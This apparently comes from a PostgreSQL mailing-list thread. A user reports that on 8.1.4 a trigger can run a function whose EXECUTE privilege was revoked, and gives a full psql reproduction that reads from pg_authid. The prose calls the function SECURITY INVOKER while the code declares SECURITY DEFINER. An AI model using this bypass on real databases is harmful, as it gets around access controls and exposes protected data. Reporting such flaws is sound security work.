>>> "REVOKE ALL ON FUNCTION piti() FROM PUBLIC"
>>>
>>> Doe not seam to have any effect on functions installed as a trigger.
>>
>> Does your "common user" have the permission to create users?
>
> No (although the one I've initially tested this scenario on, was in a
> group that did have that permission).
[...]
> I hope you can copy the results.
I can indeed recreate something similar here on PostgreSQL 8.1.4.
Permissions on a trigger function seem to not be checked,
and I can execute a function for which I have no privileges.
I consider this a security leak - or am I missing something?
Here is a _complete_ example:
As superuser, create a trigger function that selects from pg_authid
with SECURITY INVOKER, and REVOKE EXECUTE FROM public:
test=# \c test postgres
You are now connected to database "test" as user "postgres".
test=# CREATE OR REPLACE FUNCTION insert_oid() RETURNS trigger AS
test-# $$BEGIN SELECT oid INTO NEW.useroid FROM pg_catalog.pg_authid
WHERE rolname = user; RETURN NEW; END;$$
test-# LANGUAGE plpgsql STABLE STRICT SECURITY DEFINER;
CREATE FUNCTION
test=# REVOKE EXECUTE ON FUNCTION insert_oid() FROM public;
REVOKE
test=# SELECT proacl FROM pg_catalog.pg_proc WHERE proname =
'insert_oid';
proacl
-----------------------
{postgres=X/postgres}
(1 row)
As normal user, try to execute the function or select from
pg_catalog.pg_authid directly, both fail as expected.
test=# \c test laurenz
You are now connected to database "test" as user "laurenz".
test=> SELECT insert_oid();
ERROR: permission denied for function insert_oid
test=> SELECT oid FROM pg_catalog.pg_authid WHERE rolname = user;
ERROR: permission denied for relation pg_authid
Create a temporary table, define a trigger BEFORE INSERT using the
function that we cannot execute:
test=> CREATE TEMP TABLE lautest (id integer PRIMARY KEY, useroid oid
NOT NULL);
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"lautest_pkey" for table "lautest"
CREATE TABLE
test=> CREATE TRIGGER insert_oid BEFORE INSERT ON lautest FOR EACH ROW
EXECUTE PROCEDURE insert_oid();
CREATE TRIGGER
Insert a row into the table.
The trigger function is executed, and I have selected a value from
pg_authid!
test=> INSERT INTO lautest (id) VALUES (1);
INSERT 0 1
test=> SELECT * FROM lautest;
id | useroid
----+---------
1 | 10
(1 row)
Yours,
Laurenz Albe
